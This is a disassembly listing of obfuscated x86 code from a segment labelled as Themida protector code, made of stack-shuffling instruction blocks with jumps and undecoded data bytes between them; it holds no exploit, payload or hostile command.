loc_56BF8B:				; CODE XREF: Themida_:00576B21j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	edx
		mov	edx, 2
		sub	ebp, edx
		pop	edx
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_56854D
; ---------------------------------------------------------------------------
		dw 24BBh
		dd 89000000h, 0F372E9DDh, 0EB29FFFFh, 51242C8Bh, 0C181E189h
		dd 4, 4C181h, 0C870000h, 0C9F9E924h, 0B652FFFFh, 48EE808Bh
		dd 0E6C0D6F6h, 80CEFE03h, 0B75340EEh, 5BF828C3h, 1E9F028h
		dd 31FFFF7Dh, 3180E9EAh, 0C8300000h, 592434FFh,	0DAE95455h
		dd 81000094h, 4C5h, 4C58300h, 8B242C87h, 48F2424h, 0AF77E924h
		dd 0F309FFFFh, 8324348Bh, 0EBC104C4h, 2352E907h, 17E90000h
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C02B:				; CODE XREF: Themida_:0056A8FCj
		add	esp, 4
		add	edx, 36E756BCh
		sub	edx, 91A254Fh
		add	edx, esi
		push	eax
		mov	eax, 305D5500h
		sub	eax, 615E6673h
		xor	eax, 524570CCh
		shl	eax, 8
		neg	eax
		shr	eax, 5
		add	eax, 6F71757h
		add	edx, eax
		pop	eax
		push	eax
		mov	eax, 36E756BCh
		sub	edx, eax
		pop	eax
		jmp	loc_57552C
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 14F7243Ch, 0F7575F24h, 815F2414h,	3317A2C7h
		dd 36FEE922h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56C08A:				; CODE XREF: Themida_:0056B770j
		sub	edx, 2D3418A2h
		sub	edx, 0C245C53Ah
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ebx
		jmp	loc_5725E0
; ---------------------------------------------------------------------------
		dd 240C8B66h, 57E68956h, 4EC81h, 34890000h, 4EC8324h, 0E9240489h
		dd 0FFFFB936h
; ---------------------------------------------------------------------------


loc_56C0C4:				; CODE XREF: Themida_:0056823Aj
		bt	[esp], eax
		pushf
		jmp	loc_561042
; ---------------------------------------------------------------------------
		dw 0D35Ch
		dd 0E99C2424h, 0FFFF4F6Ah, 6F3C68h, 7C34E900h, 34FF0000h
		dd 49685B24h, 89000010h, 7BE92404h, 33FFFF7Fh, 3C31243Ch
		dd 243C3324h, 102E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56C102:				; CODE XREF: Themida_:0056EDB3j
		push	esp
		pop	esi
		jmp	loc_56B643
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0FFC0B60Fh, 51558734h, 0E0389D68h, 12E95937h
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56C11F:				; CODE XREF: Themida_:00566667j
		xor	ecx, 16F24773h
		xor	ecx, 6B5E442Ch
		inc	ecx
		xor	ecx, 397E6911h
		xor	ecx, 2A9761F6h
		jmp	loc_567937
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 89241C89h, 0AB81E9E3h, 0FE89FFFFh, 81DEF75Fh, 0C04A5AEEh
		dd 0B67BE979h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C15A:				; CODE XREF: Themida_:0056B6BBj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ebx
		mov	ebx, 0E7E3236h
		push	70D3h
		mov	[esp], edx
		mov	edx, 39B79ADh
		add	edx, 0FFFFFFFFh
		xchg	edi, edx
		not	edi
		xchg	edi, edx
		push	edx
		push	eax
		mov	eax, 0FFFFFFFFh
		sub	[esp+4], eax
		jmp	loc_562E1F
; ---------------------------------------------------------------------------
		db 81h
		dd 4C5h, 2C58300h, 2474FF55h, 2434FF04h, 0E9242C8Bh, 47E8h
; ---------------------------------------------------------------------------


loc_56C1AC:				; CODE XREF: Themida_:005666ECj
		push	esi
		push	dword ptr [esp]
		jmp	loc_56CF25
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 0Ah
		dd 1FFFFFBh, 1C8759CBh,	24248B24h, 6602EC83h, 66243C89h
		dd 83535652h, 2C8904ECh, 2FBD6624h, 0EB89665Bh,	6BE9E9h
		dd 37045C00h, 47E9D828h, 5C00004Bh, 12D8E9h
		db 0
; ---------------------------------------------------------------------------


loc_56C1F1:				; CODE XREF: Themida_:00565288j
		pop	ebp
		sub	eax, 4DB10DA0h
		sub	eax, 1036080Dh
		add	eax, edi
		push	esi
		jmp	loc_56EEFF
; ---------------------------------------------------------------------------
		dd 240C8966h, 8671E9h, 74FF5500h, 2C8B0424h, 4EC8324h
		dd 89243C89h, 4C781E7h,	81000000h, 4C7h, 8145E900h, 0BD550000h
		dd 11CB2E86h, 515DE989h, 0E92414F7h, 0FFFFD6EBh, 4EC815Bh
		dd 0E9000000h, 0FFFF644Dh
; ---------------------------------------------------------------------------


loc_56C24C:				; CODE XREF: Themida_:00567814j
		pop	dword ptr [esp]
		pop	esp
		push	esp
		jmp	loc_563E0E
; ---------------------------------------------------------------------------


loc_56C256:				; CODE XREF: Themida_:005725E1j
		pop	ebx
		push	eax
		mov	eax, 58236BECh
		jmp	loc_56132D
; ---------------------------------------------------------------------------
		dw 0E801h
aLSvt		db '‹,$éVT',0
		align 4


loc_56C26C:				; CODE XREF: Themida_:00566F1Ej
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_56CD6A
; ---------------------------------------------------------------------------


loc_56C27D:				; CODE XREF: Themida_:00573A84j
		push	eax
		jmp	loc_56179B
; ---------------------------------------------------------------------------
		db 89h
		dd 4C581E5h, 83000000h,	2C8704C5h, 91685C24h, 89000015h
		dd 0EC81243Ch, 4, 81242489h, 42404h, 1FE90000h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_56C2AF:				; CODE XREF: Themida_:00569578j
		mov	[esp], ebp
		push	ecx
		mov	ecx, 79234C40h
		jmp	loc_56230A
; ---------------------------------------------------------------------------
		db 0B9h, 1Ch, 51h
		dd 0C9816C8Bh, 0DEA13A6h, 3259E9h, 0F0E94200h
		db 77h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C2D3:				; CODE XREF: Themida_:0056B0DAj
		inc	cl
		sub	cl, 85h
		jmp	loc_575F50
; ---------------------------------------------------------------------------
		db 81h,	0CDh, 36h
		dd 56160D69h, 615B99BEh, 0F3CE810Dh, 0C10C6236h, 0EEC103E6h
		dd 9859E902h, 0E8290000h, 58C1015Dh, 4EC81h, 2C890000h
		dd 3E69BD24h, 0ED810AF1h, 6D83688h, 15DE931h, 8191E9CFh
		dd 0EB80FFFFh, 0F627E92Ah, 2489FFFFh, 24048124h, 4, 4EC8159h
		dd 89000000h, 6EBD242Ch, 810EF415h, 0FA2609C5h,	0D826E96Ch
		dd 0C483FFFFh, 1C4F0904h, 4CECE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C356:				; CODE XREF: Themida_:0057562Ej
		push	dword ptr [esp+4]
		mov	edx, [esp]
		jmp	loc_5683F4
; ---------------------------------------------------------------------------


loc_56C362:				; CODE XREF: Themida_:0056ED2Bj
		sub	ecx, 1
		sub	ecx, 0DBFCB742h
		add	ebp, ecx
		pop	ecx
		pop	eax
		inc	ebp
		push	esi
		push	0D7550B1h
		pop	esi
		inc	esi
		xor	esi, 1855190Eh
		shr	esi, 7
		jmp	loc_573F51
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48124h, 51000000h,	0C1815954h, 4, 0FF5B39E9h, 8BF529FFh
		dd 0C4812434h, 4, 5EE9E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56C3AE:				; CODE XREF: Themida_:0056F6C3j
		mov	[esp], ebx
		mov	ebx, 76845C59h
		inc	ebx
		xor	ebx, 21400DA7h
		shr	ebx, 2
		add	ebx, 0EA0EEB85h
		sub	edi, ebx
		pop	ebx
		jmp	loc_570C94
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 243C8B24h, 4C481h, 0C4830000h, 4BA5204h, 1000000h, 0C0685AD7h
		dd 89000041h, 0BB532404h, 75CF4234h, 4717E9h, 0BDF58100h
		dd 0E98FE6BDh, 0FFFFFBE7h, 4C04EA81h, 68594B5Fh, 3542h
		dd 0BE243489h, 589C43AAh, 0BC5AC681h, 0EA81A763h, 6DD53711h
		dd 0FFCE51E9h, 4C581FFh, 0E9000000h, 70ECh, 3772C381h
		dd 295879FFh, 76C068C3h, 3C890000h, 603C6824h, 3C8B49E3h
		dd 0E3895324h, 0FF74A7E9h, 4C781FFh, 81000000h,	4C7h, 243C8700h
		dd 0FE015E5Ch, 83243C8Bh, 0EC8304C4h, 243C8904h, 75776850h
		dd 0F7583C35h, 0D0F748D8h, 1B05CC2Dh, 8BC78921h, 0C4832404h
		dd 5EFC104h, 8FEF814Fh,	0E968CE29h, 80C4h, 6859C801h, 2828h
		dd 0B9240C89h, 4CBA386Dh, 0BE12E981h, 0A9E92D49h
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56C4B7:				; CODE XREF: Themida_:0056BAFDj
		push	29C3h
		mov	[esp], edi
		jmp	loc_56C81D
; ---------------------------------------------------------------------------


loc_56C4C4:				; CODE XREF: Themida_:005659EDj
		mov	edi, eax
		pop	eax
		add	dword ptr [esp+8], 2E5E2080h
		sub	[esp+8], edi
		sub	dword ptr [esp+8], 2E5E2080h
		jmp	loc_563DDA
; ---------------------------------------------------------------------------
		dd 9C242CD3h, 0FF80C7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C4E9:				; CODE XREF: Themida_:0056EEFAj
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	ecx
		mov	ecx, 4
		push	edx
		mov	edx, 15205122h
		xor	edx, 27C23429h
		add	esi, edx
		jmp	loc_5720A4
; ---------------------------------------------------------------------------


loc_56C514:				; CODE XREF: Themida_:0056F24Dj
		sub	eax, 68836AA0h
		jmp	loc_56DE51
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 0FFFF830Fh, 0E4ABE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C52A:				; CODE XREF: Themida_:0056511Ej
		pop	edi
		push	esi
		jmp	loc_56112B
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 0E7895724h, 4C781h, 0EF830000h, 0A396E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C546:				; CODE XREF: Themida_:00573035j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 36AAE91Eh
		add	ebp, eax
		pop	eax
		add	ebx, ebp
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		push	5539h
		mov	[esp], edx
		push	3DB65D4Fh
		pop	edx
		jmp	loc_564CD7
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4C28100h, 87000000h, 815C2414h, 4C2h, 2C28300h
		dd 8B241487h, 0B60F2424h, 2E74E9C0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56C59E:				; CODE XREF: Themida_:00567B92j
		mov	ebp, 59C064FDh
		and	edi, ebp
		jmp	loc_566AE1
; ---------------------------------------------------------------------------
aXhg		db 'Xhƒ)',0
		align 10h
		dd 55240C89h, 380CC568h, 0F5815D11h, 60E65268h,	7B0DF581h
		dd 0E9894BD9h, 14F7515Dh, 240C8B24h, 51E78957h,	4B9h, 8BCF0100h
		dd 0C483240Ch, 4C78304h, 0FFE4BAE9h, 0BE5658FFh, 5AD63771h
		dd 0C893C681h, 0F001A529h, 8124348Bh, 4C4h, 0A6E95600h
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56C607:				; CODE XREF: Themida_:00575F99j
		mov	[esp], ebx
		push	esi
		push	1F0A6443h
		jmp	loc_572658
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0E0892404h, 405h,	42D00h,	4870000h, 0A524E924h
		dd 685CFFFFh, 6012h, 54241C89h,	81241C8Bh, 4C4h, 364E6800h
		dd 0C890000h, 33B6B924h, 0E1C10E56h, 0BCE98105h, 1CAC676h
		dd 2434FFCBh, 0FFF87DE9h, 243C89FFh, 2BA2E9h
		db 0
; ---------------------------------------------------------------------------


loc_56C66D:				; CODE XREF: Themida_:0056B838j
		add	edx, ebx
		jmp	loc_571417
; ---------------------------------------------------------------------------


loc_56C674:				; CODE XREF: Themida_:00569FE4j
		pop	edx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_562EEF
; ---------------------------------------------------------------------------


loc_56C684:				; CODE XREF: Themida_:005716A8j
		mov	edx, 53A9AA09h
		mov	esi, edx
		pop	edx
		sub	ecx, esi
		pop	esi
		push	ecx
		mov	edx, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56B758
; ---------------------------------------------------------------------------


loc_56C6A1:				; CODE XREF: Themida_:00574D5Ej
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_57080F
; ---------------------------------------------------------------------------


loc_56C6AA:				; CODE XREF: Themida_:0056BB0Fj
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		add	ebx, edi
		jmp	loc_568AE8
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0E9240C89h, 0FFFFFF4Dh, 98E96D04h, 4FFFFFDFh, 6BFC781h
		dd 0F8897122h, 0FF849CE9h, 0B1E945FFh, 89FFFF54h, 405E0h
		dd 39E90000h, 30FFFF91h, 2A2C5AD3h, 0E952D800h,	5C20h
		dd 6917BF58h, 0C7297A17h, 3874E958h, 48F0000h, 9AE95C24h
		dd 0BB0000A1h, 4C783320h, 0FFE141E9h, 5DEA29FFh, 295AD301h
		dd 41EB81FBh, 0FF68F049h, 525F2434h, 5712E9h
		db 0
; ---------------------------------------------------------------------------


loc_56C735:				; CODE XREF: Themida_:00565D48j
		pop	ecx
		jmp	loc_56D3FE
; ---------------------------------------------------------------------------
		db 0BBh
		dd 7CF9229Ah, 0F7EB8143h, 4B4B240Dh, 8103E3C1h,	0C35B1FEBh
		dd 5493E952h, 34FF0000h, 240C8B24h, 4C481h, 0CE90000h
		dd 81FFFF8Ch, 0A805EEBh, 0FFDA8980h, 565B2434h,	0C681E689h
		dd 4, 0E9565557h, 148Ch
; ---------------------------------------------------------------------------


loc_56C784:				; CODE XREF: Themida_:00574CB2j
		sub	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_56667E
; ---------------------------------------------------------------------------
		dd 5B2414F7h, 0E9E9D3F7h, 0BB000052h, 19D85AF5h, 0A50FC381h
		dd 0DA01E627h, 0BB53555Bh, 5C925EC9h, 0BFD49BBDh, 5BDD01F4h
		dd 6803EDC1h, 34EFh, 0BE243489h, 3A24513Ch, 6DE1F681h
		dd 0E681179Fh, 4F3E3E96h, 8105EEC1h, 4F0FA5EEh,	6E6C149h
		dd 73EBC681h, 68E9A080h, 89FFFFDEh, 481240Ch, 0A776FD24h
		dd 0EB815B1Dh, 1DA776FDh, 0FFDBBAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C80D:				; CODE XREF: Themida_:0056AC70j
		mov	[esp], eax
		jmp	loc_564F35
; ---------------------------------------------------------------------------
		db 80h,	0C4h, 0B9h
		dd 460E9h
		db 0
; ---------------------------------------------------------------------------


loc_56C81D:				; CODE XREF: Themida_:0056C4BFj
		mov	edi, 4
		add	edx, edi
		jmp	loc_565D5C
; ---------------------------------------------------------------------------


loc_56C829:				; CODE XREF: Themida_:00561435j
		add	edx, 0D0802302h
		push	edx
		add	dword ptr [esp], 25922CE2h
		pop	ebx
		jmp	loc_56287E
; ---------------------------------------------------------------------------


loc_56C83D:				; CODE XREF: Themida_:005721A3j
		push	esp
		pop	edi
		jmp	loc_563D65
; ---------------------------------------------------------------------------
		dd 28C1F580h, 400459E8h, 5B2434FFh, 1431E9h
		db 0
; ---------------------------------------------------------------------------


loc_56C855:				; CODE XREF: Themida_:00566FDCj
		sub	eax, 8E7781Bh
		add	eax, 2C825F9Fh
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56785F
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0CAh
		dd 6B851698h, 0FF9ED4E9h, 35E95BFFh, 8B000098h,	0C4832404h
		dd 74FF5704h, 8F5F0424h, 248B2404h, 2434FF24h, 4EA9E9h
		dd 7F685900h, 8900001Fh, 2168243Ch, 5F4B2A1Eh, 0E902EFC1h
		dd 0FFFF6E97h, 0BB53C229h, 22D6127Dh, 0F381DBF7h, 0B494AD9Eh
		dd 35B8E9h
		db 0
; ---------------------------------------------------------------------------


loc_56C8C5:				; CODE XREF: Themida_:00575379j
		mov	edx, 3A6865E5h
		dec	edx
		neg	edx
		add	edx, 7161BBDh
		add	edx, 6AB60ACFh
		shr	edx, 5
		jmp	loc_569868
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 56h
		dd 0FF69D268h, 81582434h, 4C4h,	6A0CE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56C8F6:				; CODE XREF: Themida_:005739E1j
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_574451
; ---------------------------------------------------------------------------


loc_56C90C:				; CODE XREF: Themida_:0056569Aj
		add	edi, 4
		jmp	loc_570C09
; ---------------------------------------------------------------------------
		db 68h
		dd 2A55h, 51240489h, 8D0EE9h
		db 0
; ---------------------------------------------------------------------------


loc_56C925:				; CODE XREF: Themida_:00565857j
		add	eax, 66B74D26h
		add	eax, 714A0576h
		sub	edx, eax
		pop	eax
		jmp	loc_564DE5
; ---------------------------------------------------------------------------
		db 0B3h
		dd 5BDD00FCh, 0E8005B2Ch, 0FFDEE9E9h, 240C8BFFh, 4C481h
		dd 0C52D0000h, 1512D0Ah, 0AC505D8h, 0D2E9512Dh
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C95F:				; CODE XREF: Themida_:005740CBj
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		div	cl
		movzx	cx, ah
		push	ebp
		push	344Fh
		mov	[esp], esp
		push	eax
		jmp	loc_566018
; ---------------------------------------------------------------------------


loc_56C979:				; CODE XREF: Themida_:005670A3j
		and	ebp, 3F46F8Eh
		add	ebp, 39696308h
		or	ebp, 720A5549h
		dec	ebp
		xor	ebp, 60004D61h
		jmp	loc_57302C
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 243C8900h, 2422E8BFh, 873DBB47h, 0FB29BFA4h, 5F2434FFh
		dd 0C104C483h, 814305E3h, 569ECAC3h, 8DC6816Bh,	292CFD42h
		dd 0E16DE9DEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C9CA:				; CODE XREF: Themida_:0056713Ej
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		push	59FCh
		mov	[esp], eax
		jmp	loc_56F19D
; ---------------------------------------------------------------------------


loc_56C9DE:				; CODE XREF: Themida_:00569F52j
		sub	ebp, 1B57755Eh
		xor	ebp, 0DC12368Ch
		mov	edi, ebp
		pop	ebp
		add	ebp, edi
		jmp	loc_574CB1
; ---------------------------------------------------------------------------


loc_56C9F4:				; CODE XREF: Themida_:00564175j
		sub	eax, ebp
		jmp	loc_56DF22
; ---------------------------------------------------------------------------


loc_56C9FB:				; CODE XREF: Themida_:00563EE3j
		add	ebx, 2
		xchg	ebx, [esp]
		mov	esp, [esp]
		movzx	eax, al
		mov	dx, [esp]
		jmp	loc_56E0C5
; ---------------------------------------------------------------------------


loc_56CA13:				; CODE XREF: Themida_:0056AF59j
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		push	ebp
		mov	ebp, 53327D36h
		not	ebp
		shl	ebp, 5
		xor	ebp, 99B05924h
		jmp	loc_56416E
; ---------------------------------------------------------------------------


loc_56CA32:				; CODE XREF: Themida_:00570869j
		xor	al, cl
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_564BCB
; ---------------------------------------------------------------------------
		db 0BEh
		dd 2, 335EF301h, 0B9E9241Ch, 59FFFFD0h,	0FFFC9AE9h, 1479BAFFh
		dd 0E3B86D9Ch, 1BAC740h, 0A1C2E9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 5C5C638Bh
		dec	eax
		add	eax, 0A3A39C7Ah
		add	ebp, eax
		pop	eax
		jmp	loc_5666C7
; ---------------------------------------------------------------------------
		db 0C0h, 0EFh, 6
		dd 0E9EBB652h, 0FFFFC85Fh, 41B8E981h, 0D12901E8h, 41B8C181h
		dd 55E901E8h, 66FFFFBBh, 28E02C5Ah, 0E7E953D8h,	4A00002Bh
		dd 0C103EAC1h, 0EA8102E2h, 0FFFFFFFFh, 0C281D2F7h, 0E7E341Dh
		dd 6FE9D031h, 89FFFF6Eh, 0E789243Ch, 0F135E950h, 0BB53FFFFh
		dd 4, 6769EA81h, 0DA011BF0h, 6769C281h,	0E95B1BF0h, 0FFFFA8B3h
		dd 5C243487h, 4246C81h,	65EF5986h, 203BB53h, 5C0107EEh
		dd 0BCE90824h
		db 95h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56CB03:				; CODE XREF: Themida_:0056D3AFj
		shl	edx, 1
		push	esi
		mov	esi, esp
		jmp	loc_56744F
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 14B7E924h, 0EA810000h, 25067686h, 0C281F229h, 25067686h
		dd 4EC835Eh, 7669E9h, 3E1C100h,	0D327E981h, 0CB29B653h
		dd 0FF88BBE9h, 256852FFh, 5A186F46h, 7241E9h, 56E78900h
		dd 4BEh, 5EF70100h, 4C781h, 0FF570000h,	5F042474h, 0E924048Fh
		dd 0FFFF5838h, 5D19C381h, 0F3010460h, 5D19EB81h, 685E0460h
		dd 2D84h, 0FF4CC1E9h, 20C781FFh, 2924B925h, 20EF81CFh
		dd 8724B925h, 0E1D15FF9h, 21C7C181h, 0C9816DA9h, 2BA6401Bh
		dd 7936C181h, 0F1E9456Bh, 89FFFFF8h, 0CBBD242Ch, 55144F79h
		dd 875F5D57h, 8D8EE9D7h, 0B4500000h, 0BC38077h,	0EB80E328h
		dd 618EE90Bh, 0EC810000h, 4, 81242489h,	42404h,	0E0E90000h
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CBE3:				; CODE XREF: Themida_:0056A7FEj
		mov	ebp, 0F790576h
		jmp	loc_56F072
; ---------------------------------------------------------------------------


loc_56CBED:				; CODE XREF: Themida_:00575908j
		push	ebx
		mov	ebx, 40E91B16h
		jmp	loc_569D1F
; ---------------------------------------------------------------------------
		dd 51241C89h, 0FF8A5FE9h, 0EC815BFFh, 4, 54240489h, 4EC8358h
		dd 0E9243C89h, 7B0Bh, 0BAE9DFF7h
		db 60h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56CC1F:				; CODE XREF: Themida_:00571E90j
		xor	edx, 7BB3150Bh
		add	ebp, edx
		jmp	loc_5610B4
; ---------------------------------------------------------------------------
		dd 6E95466h, 53FFFFD7h,	0C381E389h, 4, 8704EB83h, 0D7E9241Ch
		dd 81FFFF5Ah, 994483C3h, 92EB816Fh, 8129793Dh, 0FA3584EBh
		dd 36BD550Eh, 452CE367h, 204CE581h, 0D5F73F5Bh,	2EDC145h
		dd 1ED81h, 0ED810000h, 0B11BF295h, 0FFF335E9h, 7FEC80FFh
		dd 8876F480h, 24048BE6h, 0FFB445E9h, 0CD8159FFh, 53F306C5h
		dd 0E906E5C1h, 0FFFFD310h, 0E9240487h, 0FFFFF547h, 8924248Bh
		dd 93E9240Ch, 33FFFF43h, 248B2404h, 4388E924h, 8B66FFFFh
		dd 0E9532434h, 499Fh
; ---------------------------------------------------------------------------


loc_56CCC4:				; CODE XREF: Themida_:0057098Fj
		pop	edx
		jmp	loc_5734A5
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 8B241C87h, 0B6682424h, 89000016h,	0E9532414h, 0FFFF55EAh
		dd 8904EC83h, 4832424h,	348B0424h, 4C48124h, 55000000h
		dd 8D717FBDh, 7BED8150h, 0E9508D71h, 0FFFFE22Ah
; ---------------------------------------------------------------------------


loc_56CD08:				; CODE XREF: Themida_:0056191Aj
		mov	edx, 78EF24DCh
		sub	edx, 79012771h
		jmp	loc_576892
; ---------------------------------------------------------------------------


loc_56CD18:				; CODE XREF: Themida_:00573952j
		mov	ch, bl
		mov	ebx, [esp]
		jmp	loc_563E63
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 9FE95824h, 0F6000002h, 0E99C241Ch, 0FFFF430Eh, 3D4BF57h
		dd 0FA8959B6h, 4E2C15Fh, 8FE94A4Ah, 5EFFFFDAh, 8A5AE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56CD4E:				; CODE XREF: Themida_:00565154j
		mov	edi, 4
		jmp	loc_57324B
; ---------------------------------------------------------------------------
		dd 2B32CF81h, 814728A5h, 36029AE7h, 0AE7EE94Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CD6A:				; CODE XREF: Themida_:0056C278j
		sub	esp, 4
		mov	[esp], edx
		push	ebp
		jmp	loc_56F612
; ---------------------------------------------------------------------------
		db 0F6h, 0D0h, 0FEh
		dd 2CC8FEC8h, 0E9C30034h, 0FFFF5430h, 2620E94Ah, 34FF0000h
		dd 2434FF24h, 0E0895058h, 4BB5351h, 89000000h, 0C8015BD9h
		dd 3FB8E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56CDAA:				; CODE XREF: Themida_:00568A5Fj
		pop	ecx
		push	ecx
		mov	ecx, 279D390Dh
		or	esi, ecx
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	eax
		mov	eax, 5216547Fh
		inc	eax
		push	edx
		mov	edx, 7A990707h
		and	eax, edx
		pop	edx
		xor	eax, 78D348BCh
		jmp	loc_567060
; ---------------------------------------------------------------------------


loc_56CDE0:				; CODE XREF: Themida_:005735C0j
		pop	edi
		jmp	loc_561997
; ---------------------------------------------------------------------------
		dw 81ADh
		dd 0A96C09C6h, 0E9C6011Bh, 0FFFF9FFCh
; ---------------------------------------------------------------------------


loc_56CDF4:				; CODE XREF: Themida_:00563E18j
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_56BB1E
; ---------------------------------------------------------------------------
aF3Ssk		db 'f3,$ééK',0
		db 0
; ---------------------------------------------------------------------------


loc_56CE09:				; CODE XREF: Themida_:0056B8E1j
		push	ebx
		mov	ebx, 11741668h
		jmp	loc_568755
; ---------------------------------------------------------------------------
		dd 3260BF57h, 0FB894C7Ah, 0F7E9435Fh, 50FFFF8Fh, 0D9B8EFB8h
		dd 0E9C501CDh, 4FC0h, 4C681h, 0E9510000h, 0FFFF65CEh, 0B03F33BBh
		dd 1EB8154h, 53000000h,	0FFF94FE9h, 37B652FFh, 0E95AF520h
		dd 2DFh, 0E99C5066h, 0FFFF41E2h, 0DD0A3BB9h, 0A3FBE15h
		dd 0CE3115DDh, 30EF8159h, 0E94CFB3Dh, 0FFFFB231h
; ---------------------------------------------------------------------------


loc_56CE78:				; CODE XREF: Themida_:0056E250j
		shl	ebx, 3
		jmp	loc_56F42E
; ---------------------------------------------------------------------------
		dd 3702F781h, 0EF812384h, 782479BAh, 52EF781h, 0CF812FD3h
		dd 7C084498h, 0F781E7D1h, 0A7E648E5h, 69E9FE01h, 54FFFFBFh
		dd 471E9h, 24148900h, 0C86F64BAh, 8BD00128h, 34E92414h
		db 9Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56CEBF:				; CODE XREF: Themida_:0057083Ej
		inc	dword ptr [esp]
		pop	edi
		push	ebx
		mov	ebx, 10330057h
		xor	edi, ebx
		pop	ebx
		shl	edi, 6
		xor	edi, 0D623F789h
		push	edi
		not	dword ptr [esp]
		pop	edi
		neg	edi
		push	ebx
		mov	ebx, 0A17071Eh
		and	ebx, 15FE210Eh
		push	eax
		mov	eax, 4D0213BAh
		sub	ebx, eax
		pop	eax
		and	ebx, 19A6605Fh
		jmp	loc_56FC68
; ---------------------------------------------------------------------------
		dd 39FC685Eh, 1C890000h, 0C5895524h, 60C4E9h, 0C4835D00h
		dd 1C58104h, 55089BF9h,	7B243481h, 5B67EA10h, 0FFD470E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CF25:				; CODE XREF: Themida_:0056C1B0j
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_562405
; ---------------------------------------------------------------------------


loc_56CF31:				; CODE XREF: Themida_:00568453j
		push	50E6h
		mov	[esp], eax
		add	dword ptr [esp], 2A095D2Dh
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	0AAh
		jmp	loc_564CC6
; ---------------------------------------------------------------------------


loc_56CF5D:				; CODE XREF: Themida_:00569FF1j
		push	edx
		push	ecx
		mov	ch, bh
		jmp	loc_565C40
; ---------------------------------------------------------------------------


loc_56CF66:				; CODE XREF: Themida_:00574B03j
		pop	ebx
		push	eax
		mov	eax, 4A010B6Eh
		push	ecx
		mov	ecx, eax
		mov	ebp, ecx
		pop	ecx
		pop	eax
		jmp	loc_56E9DB
; ---------------------------------------------------------------------------


loc_56CF79:				; CODE XREF: Themida_:005734BCj
